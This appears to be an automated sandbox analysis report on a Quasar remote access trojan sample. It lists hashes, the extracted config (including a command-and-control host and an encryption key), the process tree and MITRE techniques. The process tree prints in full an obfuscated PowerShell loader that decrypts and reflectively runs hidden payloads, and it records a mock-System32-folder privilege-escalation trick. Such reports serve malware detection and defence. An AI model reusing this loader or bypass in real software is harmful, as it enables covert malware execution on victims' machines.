quasar | ea0dbb78a37927ed07f0c30ad9e814c2f71a16e9a6e8356726f03637bb48a848

Analysis

max time kernel
94s
max time network
139s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
11/11/2024, 03:10

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General

Target
ea0dbb78a37927ed07f0c30ad9e814c2f71a16e9a6e8356726f03637bb48a848.cmd
Size 2.0MB
Sample241111-dn17ps1jfv
SHA256 ea0dbb78a37927ed07f0c30ad9e814c2f71a16e9a6e8356726f03637bb48a848
MD5 a83ac24f3b7291351f52ea99c33b43ca
SHA1 4819de0035af164608341bdab34fe277cc517536
SHA512 af2301759d1037f609b876090eb188f0747ecf7c4d3e5ebd23395389dd23c1398cd123a902d015d47018f1ef686b44908cca3280d86ccc4a1993b7c0388b9551
SSDEEP 24576:r7ftZVfP4Eg45n691f/qE71faFpIx6SXP1nOEunZ8/O2x01+dHepYAk0NkVG7/dp:rdLA9Fi7IxDRK294y7D/h2R
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

quasar office04 defense_evasion execution spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.4.1

Botnet

Office04

walkout.ddnsgeek.com:8080

Mutex

27391f85-a482-471a-b2cd-1f8ab5bde32e

Attributes

encryption_key
6469F8C5BA9A2CFDCF4A3F1651D1E92DBEA41117
install_name
Client.exe
log_directory
Logs
reconnect_delay
3000
startup_key
Quasar Client Startup
subdirectory
SubDir

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/3256-43-0x000002CFCE840000-0x000002CFCEB64000-memory.dmp	family_quasar

Blocklisted process makes network request 4 IoCs

flow	pid	Process
15	5000	powershell.exe
22	3256	powershell.exe
23	3256	powershell.exe
25	3256	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5000	powershell.exe
3256	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
3192	ComputerDefaults.exe

Loads dropped DLL 1 IoCs

pid	Process
3192	ComputerDefaults.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
5000	powershell.exe
5000	powershell.exe
3256	powershell.exe
3256	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	5000	powershell.exe
Token: SeDebugPrivilege	3256	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3256	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 4600 wrote to memory of 3388	4600	cmd.exe	85
PID 4600 wrote to memory of 3388	4600	cmd.exe	85
PID 4600 wrote to memory of 5000	4600	cmd.exe	86
PID 4600 wrote to memory of 5000	4600	cmd.exe	86
PID 5000 wrote to memory of 2752	5000	powershell.exe	96
PID 5000 wrote to memory of 2752	5000	powershell.exe	96
PID 5000 wrote to memory of 3480	5000	powershell.exe	98
PID 5000 wrote to memory of 3480	5000	powershell.exe	98
PID 3480 wrote to memory of 3192	3480	cmd.exe	100
PID 3480 wrote to memory of 3192	3480	cmd.exe	100
PID 2752 wrote to memory of 3964	2752	cmd.exe	105
PID 2752 wrote to memory of 3964	2752	cmd.exe	105
PID 2752 wrote to memory of 3256	2752	cmd.exe	106
PID 2752 wrote to memory of 3256	2752	cmd.exe	106
PID 5000 wrote to memory of 64	5000	powershell.exe	112
PID 5000 wrote to memory of 64	5000	powershell.exe	112

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ea0dbb78a37927ed07f0c30ad9e814c2f71a16e9a6e8356726f03637bb48a848.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:4600
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo cls;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('byOwlJEq9UaHWPvf8iRQsbA+J/FwJgSUsZSwL1NNg8o='); $aes_var.IV=[System.Convert]::FromBase64String('jlnOHC6q2ppF5ItJ8IOVtA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ IEX '$Yytzc=New-Object System.IO.M*em*or*yS*tr*ea*m(,$param_var);'.Replace('*', ''); IEX '$fsmDR=New-Object System.IO.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); IEX '$DKcCE=New-Object System.IO.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($Yytzc, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $DKcCE.CopyTo($fsmDR); $DKcCE.Dispose(); $Yytzc.Dispose(); $fsmDR.Dispose(); $fsmDR.ToArray();}function execute_function($param_var,$param2_var){ IEX '$DfiAV=[System.R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$param_var);'.Replace('*', ''); IEX '$sYTdY=$DfiAV.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); IEX '$sYTdY.*I*n*v*o*k*e*($null, $param2_var);'.Replace('*', '');}$hxgif = 'C:\Users\Admin\AppData\Local\Temp\ea0dbb78a37927ed07f0c30ad9e814c2f71a16e9a6e8356726f03637bb48a848.cmd';$host.UI.RawUI.WindowTitle = $hxgif;$qrlCl=[System.IO.File]::ReadAllText($hxgif).Split([Environment]::NewLine);foreach ($SwqTj in $qrlCl) { if ($SwqTj.StartsWith('bRlIVVrKLnBjMLQIZMQv')) { $silSH=$SwqTj.Substring(20); break; }}$payloads_var=[string[]]$silSH.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "
  2⤵
  PID:3388
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5000
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\temp\test.cmd" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2752
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo cls;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('QbyHvTiQtx89YnRta8IEyPqtyneJjEN3sJ2ZhbHVoLs='); $aes_var.IV=[System.Convert]::FromBase64String('OxX1X2lNZIgN15fz3vySVw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ IEX '$xCITj=New-Object System.IO.M*em*or*yS*tr*ea*m(,$param_var);'.Replace('*', ''); IEX '$tIajX=New-Object System.IO.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); IEX '$FlQAx=New-Object System.IO.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($xCITj, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $FlQAx.CopyTo($tIajX); $FlQAx.Dispose(); $xCITj.Dispose(); $tIajX.Dispose(); $tIajX.ToArray();}function execute_function($param_var,$param2_var){ IEX '$GhsFa=[System.R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$param_var);'.Replace('*', ''); IEX '$kwssa=$GhsFa.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); IEX '$kwssa.*I*n*v*o*k*e*($null, $param2_var);'.Replace('*', '');}$FFjjS = 'C:\Users\Admin\AppData\Roaming\temp\test.cmd';$host.UI.RawUI.WindowTitle = $FFjjS;$kRRdo=[System.IO.File]::ReadAllText($FFjjS).Split([Environment]::NewLine);foreach ($smNgX in $kRRdo) { if ($smNgX.StartsWith('luZsHxYvUgyKYktkRiik')) { $gnoFR=$smNgX.Substring(20); break; }}$payloads_var=[string[]]$gnoFR.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "
      4⤵
      PID:3964
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:3256
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c "C:\Windows \System32\ComputerDefaults.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3480
  - - C:\Windows \System32\ComputerDefaults.exe
      "C:\Windows \System32\ComputerDefaults.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3192
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c rmdir "c:\Windows \"/s /q
    3⤵
    PID:64

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 53KB
SHA256 4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
MD5 a26df49623eff12a70a93f649776dab7
SHA1 efb53bd0df3ac34bd119adf8788127ad57e53803
SHA512 e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c
SSDEEP 1536:0YaC+jH04tAHk1ZSMrxyNhftflJdvYoFi3j39MVvjMlUst+hNOwUp7bNvv+EGa5d:0YaC+jH04tAHk1cMrxyNhftflJdvYoFw
MD5 SHA1 SHA512 SSDEEP

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__PSScriptPolicyTest_0iglazfa.oxc.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0iglazfa.oxc.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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test.cmd

Path C:\Users\Admin\AppData\Roaming\temp\test.cmd
Size 1.6MB
SHA256 113c957ba369a4bea2068a9d5596f644e365cb81c19a28cce8ca1382ccc08e2d
MD5 846debdd4c489b9cdf58cf035011385b
SHA1 edd9486a627bc3f35772e2e79eb7a3aa021569cd
SHA512 c46b02e2a54314bca1695e03196a7041aebe5bede3e857f62e0e634cc2c4ea9ed95d569a73c2b6c935afab5a961a0253ce40988e3c65d9ff33bbaa34a2376f51
SSDEEP 24576:RHSLwbi29FzHWBFGa+EWO41DglXFH9zW9jpWwhVBn2eWKT:/vDOGiWI2DtJ
MD5 SHA1 SHA512 SSDEEP

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ComputerDefaults.exe

Path C:\Windows \System32\ComputerDefaults.exe
Size 80KB
SHA256 7b0334c329e40a542681bcaff610ae58ada8b1f77ff6477734c1b8b9a951ef4c
MD5 d25a9e160e3b74ef2242023726f15416
SHA1 27a9bb9d7628d442f9b5cf47711c906e3315755b
SHA512 bafaee786c90c96a2f76d4bbcddbbf397a1afd82d55999081727900f3c2de8d2eba6b77d25c622de0c1e91c54259116bc37bc9f29471d1b387f78aaa4d276910
SSDEEP 1536:DayE7ffgaxRF71ry9vmt486MypQKURDoq4OZZZLlCIibz:Y3ganFp4NpqRD68wbz
MD5 SHA1 SHA512 SSDEEP

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MLANG.dll

Path C:\Windows \System32\MLANG.dll
Size 308KB
SHA256 1abd799ba4bfee25737243568ae048c0b50f1892b41d7e0f7b3c3af8410babde
MD5 130553ce2e4112cf59f9cfecfb81fe75
SHA1 0ec3164f9d3ee5baab8e3862e1b499941a072e5c
SHA512 50b78c5974147aa1c7e9445bc23490e01f1fc9cf7968040ae27216c34b54c09246409bbcf1a1e5e3f25efcb87906a27386175ea6f911a8e87adbb6d3e2781627
SSDEEP 3072:+5/t0CPqIvxojcC2QYizfp74RRW+72w3jLYRtx4+O2CvvqFyhvIL65Bl0gdB74ip:KtHlojfpZ6T7PYS+6vCFy465n1Wek
MD5 SHA1 SHA512 SSDEEP

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memory/3256-51-0x000002CFCF200000-0x000002CFCF23C000-memory.dmp

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memory/3256-46-0x000002CFCF280000-0x000002CFCF332000-memory.dmp

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memory/3256-45-0x000002CFCF170000-0x000002CFCF1C0000-memory.dmp

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memory/3256-43-0x000002CFCE840000-0x000002CFCEB64000-memory.dmp

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memory/3256-47-0x000002CFCFA60000-0x000002CFCFC22000-memory.dmp

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memory/3256-50-0x000002CFCF140000-0x000002CFCF152000-memory.dmp

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memory/3256-41-0x000002CFCE590000-0x000002CFCE59C000-memory.dmp

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memory/3256-42-0x000002CFCE710000-0x000002CFCE842000-memory.dmp

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memory/5000-14-0x00000259CFD80000-0x00000259CFDF6000-memory.dmp

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memory/5000-40-0x00007FFE30360000-0x00007FFE30E21000-memory.dmp

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memory/5000-16-0x00000259CFE00000-0x00000259CFF82000-memory.dmp

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memory/5000-44-0x00007FFE30363000-0x00007FFE30365000-memory.dmp

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memory/5000-15-0x00000259CD630000-0x00000259CD63C000-memory.dmp

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memory/5000-0-0x00007FFE30363000-0x00007FFE30365000-memory.dmp

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memory/5000-13-0x00000259CFCB0000-0x00000259CFCF4000-memory.dmp

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memory/5000-12-0x00007FFE30360000-0x00007FFE30E21000-memory.dmp

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memory/5000-11-0x00007FFE30360000-0x00007FFE30E21000-memory.dmp

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memory/5000-56-0x00007FFE30360000-0x00007FFE30E21000-memory.dmp

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memory/5000-10-0x00000259CD600000-0x00000259CD622000-memory.dmp

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